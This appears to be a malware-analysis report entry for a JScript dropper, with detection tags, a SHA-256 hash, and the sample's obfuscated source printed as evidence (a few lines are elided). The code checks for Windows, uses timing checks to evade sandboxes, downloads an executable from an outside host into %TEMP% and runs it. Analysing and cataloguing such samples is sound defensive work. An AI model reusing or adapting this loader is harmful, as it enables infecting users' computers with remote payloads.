20160328_0138b30e70215420aeea92b371eb6493.js
Downloads and executes remote EXE dropper
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2564a677914cb89b1dc0b68facda3e5f2cf8c95c735dac22f6477e63a24529ab831
Evidence
1var Wpbernh = false;
2var Kcnpkdwfq = "CreateObject";
3var Siprafdp = function Haozkfuvi() {return WScript[Kcnpkdwfq]("WScript.Shell");}();
4var Nsndgi = 123213;
5var Acmrqhmk = "MSXML2.XMLHTTP";
6var Lysdemqgpa = 2123213;
7var Dbucf = 0;
8function Bmkoetft(Cfxty){Siprafdp["Run"](Cfxty, Dbucf, Dbucf);};
9function Homuemxirp(){return Acmrqhmk;};
10function Xjesgnmcdz(Qgaao, Nqdrkvcyaq){return Qgaao - Nqdrkvcyaq;};
11function Aqoxruycu(){return Kcnpkdwfq;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Wpbernh = true;
15 @end
16@*/
17var Qgcjxz = "";
18if (Wpbernh)
19{
20function Ldfda(){return 22;};
21var Vysrmxsr = 0; var Fxsej = 0;
22function Aqoauz()
23{
24var Jwgokchssg = new this["Date"]();
25var Cbmtlw = Jwgokchssg["getUTCMilliseconds"]();
26WScript["Sleep"](Ldfda());
27var Jwgokchssg = new this["Date"]();
28var Gfxothey = Jwgokchssg["getUTCMilliseconds"]();
29WScript["Sleep"](Ldfda());
30var Jwgokchssg = new this["Date"]();
31var Zbpnbvnu = Jwgokchssg["getUTCMilliseconds"]();
32var Vysrmxsr = "Kmpibeqagt";
33Vysrmxsr = Xjesgnmcdz(Gfxothey, Cbmtlw);
34var Fxsej = "Lbjqtdjkx";
35Fxsej = Xjesgnmcdz(Zbpnbvnu, Gfxothey);
36Qgcjxz = "open";
37return Xjesgnmcdz(Vysrmxsr, Fxsej);
38}
39var Xyhwk = false;
40var Snnkgltkz = false;
41for (var Fnztzbqwq = Dbucf; Fnztzbqwq < Ldfda() * 1; Fnztzbqwq++){if (Aqoauz() != Dbucf){
42Xyhwk = tr …
49:3… (Xyhwk && Edkdils() && Snnkgltkz){
50function Bogfbth() {return Siprafdp["ExpandEnvironmentStrings"]("%TEMP%/") + "M8g74NvMWDN9FvE.exe";};
51 Zbwxgeuvzf = Homuemxirp();
52 Zhgfesieux = WScript[Kcnpkdwfq](Zbwxgeuvzf);
53 var Orwwqxsv = 1;
54 while (Orwwqxsv){
55try {
56Zhgfesieux[Qgcjxz]("GET", "http://blackmountaintipis.com/mxn3aad", false);
57Zhgfesieux["send"]();
58Gyznvbno = "Sleep";
59do {WScript[Gyznvbno](Ldfda() * 11)} while (Zhgfesieux["readystate"] < 4 );
60Orwwqxsv = Dbucf;
61} catch(Sfcvqlyykq){Orwwqxsv = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Jfybt(Ivofq) {var Hmegqjw = (1, 2, 3, 4, 5, Ivofq); return Hmegqjw;};
64Tmoljtupk = WScript[Aqoxruycu()]("ADODB.Stream");
65Zbwxgeuvzf = Tmoljtupk;
66Zbwxgeuvzf[Qgcjxz]();
67Zbwxgeuvzf["type"] = Jfybt(1);
68Zbwxgeuvzf["write"](Zhgfesieux["ResponseBody"]);
69Tmoljtupk["position"] = Jfybt(Dbucf);
70Zbwxgeuvzf["SaveToFile"](Bogfbth(), Jfybt(2) );
71Tmoljtupk["close"]();
72Bmkoetft(Bogfbth());
73}
74}
75